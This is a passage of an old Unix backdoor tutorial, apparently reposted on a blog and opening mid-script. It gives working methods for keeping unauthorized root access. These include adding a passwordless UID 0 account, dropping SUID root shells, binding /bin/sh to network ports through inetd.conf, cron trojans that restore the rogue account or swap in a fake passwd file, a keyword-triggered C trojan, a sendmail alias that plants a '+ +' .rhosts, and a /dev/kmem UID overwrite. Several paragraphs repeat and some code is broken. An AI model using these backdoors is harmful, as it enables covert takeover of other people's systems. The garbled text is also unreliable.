echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
NEVER, EVER, change the rootpassword. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, suchas Sync. Or, perhaps, an account somwhere buried deep in the passwd file hasbeen abandoned, and disabled by the sysadmin. Change her UID to 0 (and removethe '*' from the second field).
[3] Leave an SUID root shell in /tmp.
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell
Many systems run cron jobs to clean/tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmpmounted to disallow SUID programs from executing. You can change all of these,but if the filesystem starts filling up, people may notice...but, hey, this*is* the overt section....).
I will not detail the changes neccessary becausethey can be quite system specific. Check out /var/spool/cron/crontabs/root and/etc/fstab.
I will not detail the changes neccessary becausethey can be quite system specific. Check out /var/spool/cron/crontabs/root and/etc/fstab.
The Veiled
[4] The super-server configuration file is not the first placea sysadmin will look, so why not put one there?
First, some background info:The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDPports and spawns the appropriate program (usally a server) when a connectionrequest arrives. The format of the /etc/inetd.conf file is simple. Typicallines look like this:
First, some background info:The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDPports and spawns the appropriate program (usally a server) when a connectionrequest arrives. The format of the /etc/inetd.conf file is simple. Typicallines look like this:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name thatshould appear in /etc/services. This tells inetd what to look for in/etc/services to determine which port it should associate the program namewith.
Field (2) tells inetd which type of socket connection the daemon will expect.TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field whichis either of the two transport protocols, TCP or UDP.
Field (4) specifieswhether or not the daemon is iterative or concurrent. A 'wait' flag indicatesthat the server will process a connection and make all subsequent connectionswait. 'Nowait' means the server will accept a connection, spawn a child processto handle the connection, and then go back to sleep, waiting for furtherconnections.
Field (5) is the user (or more inportantly, the UID) that thedaemon is run as.
Field (6) is the program to run when a connection arrives, andis the actual command (and optional arguments). If the program is trivial(usally requiring no user interaction) inetd may handle it internally. This isdone with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, andreplace the daemon that would normally handle it with something else. A programthat creates an SUID root shell, a program that adds a root account for you inthe /etc/passwd file, etc...
For the insinuation-impaired, try this:
Field (2) tells inetd which type of socket connection the daemon will expect.TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field whichis either of the two transport protocols, TCP or UDP.
Field (4) specifieswhether or not the daemon is iterative or concurrent. A 'wait' flag indicatesthat the server will process a connection and make all subsequent connectionswait. 'Nowait' means the server will accept a connection, spawn a child processto handle the connection, and then go back to sleep, waiting for furtherconnections.
Field (5) is the user (or more inportantly, the UID) that thedaemon is run as.
Field (6) is the program to run when a connection arrives, andis the actual command (and optional arguments). If the program is trivial(usally requiring no user interaction) inetd may handle it internally. This isdone with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, andreplace the daemon that would normally handle it with something else. A programthat creates an SUID root shell, a program that adds a root account for you inthe /etc/passwd file, etc...
For the insinuation-impaired, try this:
Open the /etc/inetd.conf in anavailable editor. Find the line that reads:
daytime stream tcp nowait rootinternal
and change it to:
daytime stream tcp nowait /bin/sh sh-i
You now need to restart /etc/inetdso it will reread the config file. It is up to you how you want to do this. Youcan kill and restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd)which will interuppt ALL network connections (so it is a good idea to do thisoff peak hours).
[5] An option to compromising a well known service would be toinstall a new one, that runs a program of your choice. One simple solution isto set up a shell the runs similar to the above backdoor. You need to make surethe entry appears in /etc/services as well as in /etc/inetd.conf. The format ofthe /etc/services file is simple:
(1) (2)/(3) (4)
smtp 25/tcp mail
Field (1) is the service, field (2)is the port number, (3) is the protocol type the service expects, and (4) isthe common name associated with the service.
For instance, add this line to/etc/services:
evil 22/tcp evil
and this line to /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERYpowerful backdoors. They not only offer local rentry from any account on thesystem, they offer rentry from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I.
Cron is a wonderful systemadministration tool. It is also a wonderful tool for backdoors, since root'scrontab will, well, run as root...
Again, depending on the level of experienceof the sysadmin (and the implementation), this backdoor may or may not last./var/spool/cron/crontabs/root is where root's list for crontabs is usallylocated.
Here, you have several options. I will list a only few, as cron-basedbackdoors are only limited by your imagination.
Cron is the clock daemon. It isa tool for automatically executing commands at specified dates and times.
Crontab is the command used to add, remove, or view your crontab entries. It isjust as easy to manually edit the /var/spool/crontab/root file as it is to usecrontab. A crontab entry has six fields:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows:minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12),day of the week (0-6). Field (6) is the command (or shell script) to execute.
The above shell script is executed on Mondays. To exploit cron, simply add anentry into /var/spool/crontab/root.
For example: You can have a cronjob thatwill run daily and look in the /etc/passwd file for the UID 0 account wepreviously added, and add him if he is missing, or do nothing otherwise (it maynot be a bad idea to actually *insert* this shell code into an alreadyinstalled crontab entry shell script, to further obfuscate your shadyintentions).
Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom.comset evilflag = (`grep eviluser/etc/passwd`)if($#evilflag == 0) then # Is hethere?set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...else
endif
[7] Cron-based trojan II.
This one was brought to my attentionby our very own Mr. Zippy. For this, you need a copy of the /etc/passwd filehidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky)we have but one entry, a root account with a passwd of your choosing.
We run acronjob that will, every morning at 2:30am (or every other morning), save acopy of the real /etc/passwd file, and install this trojan one as the real/etc/passwd file for one minute (synchronize swatches!). Any normal user orprocess trying to login or access the /etc/passwd file would get an error, butone minute later, everything would be ok. Add this line to root's crontab file:
29 2 * * */bin/usr/sneakysneaky_passwd
make sure this exists:
#echo "root:1234567890123:0:0:Operator:/:/bin/csh"> /var/spool/mail/.sneaky
and this is the simple shell script:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
[8] Compiled code trojan.
Simple idea. Instead of a shellscript, have some nice C code to obfuscate the effects. Here it is. Make sureit runs as root. Name it something innocous. Hide it well.
/* A little trojan to create an SUIDroot shell, if the proper argument is given. C code, rather than shell to hide obvious it's effects. */
/* codemobile@yahoo.com */
/* codemobile@yahoo.com */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
[9] The sendmail aliases file.
The sendmail aliases file allowsfor mail sent to a particular username to either expand to several users, orperhaps pipe the output to a program. Most well known of these is the uudecodealias trojan. Simply add the line:
"decode:"|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded .rhostsfile with the full pathname embedded.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Next telnet to the desired site,port 25. Simply fakemail to decode and use as the subject body, the uuencodedversion of the .rhosts file. For a one liner (not faked, however) do this:
%echo "+ +" |/usr/bin/uuencode /root/.rhosts | mail decode@target.com
You can be as creative as you wishin this case. You can setup an alias that, when mailed to, will run a programof your choosing. Many of the previous scripts and methods can be employedhere.
The Covert
[10] Trojan code in common programs. This is a rather sneakymethod that is really only detectable by programs such tripwire. The idea issimple: insert trojan code in the source of a commonly used program. Some ofmost useful programs to us in this case are su, login and passwd because theyalready run SUID root, and need no permission modification. Below are somegeneral examples of what you would want to do, after obtaining the correctsourcecode for the particular flavor of UNIX you are backdooring.
(Note: Thismay not always be possible, as some UNIX vendors are not so generous with thiersourcecode.)
Since the code is very lengthy and different for many flavors,
Iwill just include basic psuedo-code:
get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...
Not complex or difficult. Trojans ofthis nature can be done in less than 10 lines of additional code.
The Esoteric
[11] /dev/kmem exploit. It represents the virtual of the system.Since the kernel keeps it's parameters in memory, it is possible to modify thememory of the machine to change the UID of your processes. To do so requiresthat /dev/kmem have read/write permission.
The following steps are executed:Open the /dev/kmem device, seek to your page in memory, overwrite the UID ofyour current process, then spawn a csh, which will inherit this UID. Thefollowing program does just that.
/* If /kmem is is readable andwritable, this program will change the user's UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practicaltutorial" with some modifications by codemobile@yahoo.com */
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char*)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0,envp);
}
}
} /* End main */
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
[12] Since the previous code requires /dev/kmem to be worldaccessable, and this is not likely a natural event, we need to take care ofthis. My advice is to write a shell script similar to the one in [7] that willchange the permissions on /dev/kmem for a discrete amount of time (say 5minutes) and then restore the original permissions. You can add this source tothe source in [7]:
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
Thanks....
Subscribe to:
Posts (Atom)
Friday, April 22, 2011
Anu











